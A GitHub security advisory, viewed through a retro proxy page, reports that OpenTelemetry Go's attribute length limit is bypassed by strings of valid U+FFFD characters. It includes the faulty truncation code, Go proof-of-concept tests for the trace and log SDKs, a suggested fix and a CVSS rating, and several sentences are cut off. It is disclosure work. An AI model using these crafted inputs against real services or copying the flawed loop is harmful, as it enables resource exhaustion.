GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — AttributeValueLengthLimit is bypassed by string values composed of valid U+FFFD runes AttributeValueLengthLimit is bypassed by string values composed of valid U+FFFD runes
Moderate
DescriptionSummaryThe This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code. DetailsThe shared truncation helper is generated from // Optimistically, assume all valid UTF-8. var b strings.Builder count := 0 for i, c := range s { if c != utf8.RuneError { count++ if count > limit { return s[:i] } continue } _, size := utf8.DecodeRuneInString(s[i:]) if size == 1 { // invalid encoding: fall through to the correct slow path ... break } }
The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed. Call chains (v1.46.0):
Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper ( PoCMinimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares Create a directory with these files.
package otelpoc import ( "context" "strings" "testing" "unicode/utf8" "go.opentelemetry.io/otel/attribute" sdktrace "go.opentelemetry.io/otel/sdk/trace" "go.opentelemetry.io/otel/sdk/trace/tracetest" "go.opentelemetry.io/otel/trace" ) // limitsWithLen returns span limits with AttributeValueLengthLimit=limit and // everything else unlimited, isolating the length-limit enforcement under test. func limitsWithLen(limit int) sdktrace.SpanLimits { lim := sdktrace.NewSpanLimits() lim.AttributeValueLengthLimit = limit lim.AttributeCountLimit = -1 lim.AttributePerEventCountLimit = -1 lim.AttributePerLinkCountLimit = -1 lim.EventCountLimit = -1 lim.LinkCountLimit = -1 return lim } func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue { t.Helper() sr := tracetest.NewSpanRecorder() tp := sdktrace.NewTracerProvider( sdktrace.WithSpanProcessor(sr), sdktrace.WithSpanLimits(limitsWithLen(limit)), ) defer func() { _ = tp.Shutdown(context.Background()) }() tr := tp.Tracer("poc") _, span := tr.Start(context.Background(), "op") span.SetAttributes(attrs...) span.End() ended := sr.Ended() if len(ended) != 1 { t.Fatalf("expected 1 ended span, got %d", len(ended)) } return ended[0].Attributes() } // TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string // attribute composed of valid U+FFFD runes is stored completely untruncated // although AttributeValueLengthLimit=5. func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) { const limit = 5 val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes got := captureOneSpan(t, limit, attribute.String("k", val)) if len(got) != 1 { t.Fatalf("expected 1 attribute, got %d", len(got)) } stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) // Per OTel spec ("counting any character in it as 1") the stored value // must be at most `limit` characters (<= 15 bytes for U+FFFD). if maxBytes := 3 * limit; len(stored) > maxBytes { t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)", limit, len(stored), maxBytes) } } // TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes // are not counted in the optimistic truncation path: every U+FFFD adds 3 // uncounted bytes to the retained value. func TestOT001_FFFDMixedStringOverRetains(t *testing.T) { const limit = 5 val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes got := captureOneSpan(t, limit, attribute.String("k", val)) stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) if chars := utf8.RuneCountInString(stored); chars > limit { t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored", limit, chars, len(stored)) } } // TestOT001_ASCIIControl is the control case: plain ASCII over-limit values // ARE truncated, proving the length limit is active in the same setup. func TestOT001_ASCIIControl(t *testing.T) { const limit = 5 val := strings.Repeat("B", 20) got := captureOneSpan(t, limit, attribute.String("k", val)) stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) if len(stored) != limit { t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored)) } } // TestOT001_EventAttributesNotLengthTruncated documents that span-event // attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate // call in recordingSpan.addEvent). func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) { const limit = 5 val := strings.Repeat("C", 100) sr := tracetest.NewSpanRecorder() tp := sdktrace.NewTracerProvider( sdktrace.WithSpanProcessor(sr), sdktrace.WithSpanLimits(limitsWithLen(limit)), ) defer func() { _ = tp.Shutdown(context.Background()) }() tr := tp.Tracer("poc") _, span := tr.Start(context.Background(), "op") span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val))) span.End() ended := sr.Ended() events := ended[0].Events() if len(events) != 1 { t.Fatalf("expected 1 event, got %d", len(events)) } stored := events[0].Attributes[0].Value.AsString() t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit) if len(stored) > limit { t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit) } } (The
package otelpoc import ( "context" "strings" "sync" "testing" "unicode/utf8" "go.opentelemetry.io/otel/attribute" apisdk "go.opentelemetry.io/otel/log" sdklog "go.opentelemetry.io/otel/sdk/log" ) type captureProcessor struct { mu sync.Mutex recs []*sdklog.Record } func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true } func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error { c.mu.Lock() defer c.mu.Unlock() clone := r.Clone() c.recs = append(c.recs, &clone) return nil } func (c *captureProcessor) Shutdown(context.Context) error { return nil } func (c *captureProcessor) ForceFlush(context.Context) error { return nil } // TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against // the sdk/log attribute path (sdk/log/internal/attrnorm, same template). func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) { const limit = 5 cp := &captureProcessor{} lp := sdklog.NewLoggerProvider( sdklog.WithProcessor(cp), sdklog.WithAttributeValueLengthLimit(limit), ) defer func() { _ = lp.Shutdown(context.Background()) }() logger := lp.Logger("poc") var r apisdk.Record r.SetSeverity(apisdk.SeverityInfo) r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000))) logger.Emit(context.Background(), r) cp.mu.Lock() if len(cp.recs) != 1 { t.Fatalf("expected 1 record, got %d", len(cp.recs)) } rec := cp.recs[0] cp.mu.Unlock() stored := "" rec.WalkAttributes(func(kv attribute.KeyValue) bool { if string(kv.Key) == "k" { stored = kv.Value.AsString() } return true }) t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(stored), len(stored), limit) if maxBytes := 3 * limit; len(stored) > maxBytes { t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)", limit, len(stored), maxBytes) } } Run: Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters. ImpactApplications that enable Suggested fixIn the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current Severity
Moderate
CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVE ID
CVE-2026-128085
WeaknessesWeakness CWE-135Incorrect Calculation of Multi-Byte String LengthThe product does not correctly calculate the length of strings that can contain wide or multi-byte characters. Learn more on MITRE.Weakness CWE-770Allocation of Resources Without Limits or ThrottlingThe product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE. |
| You are visitor 01402911 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |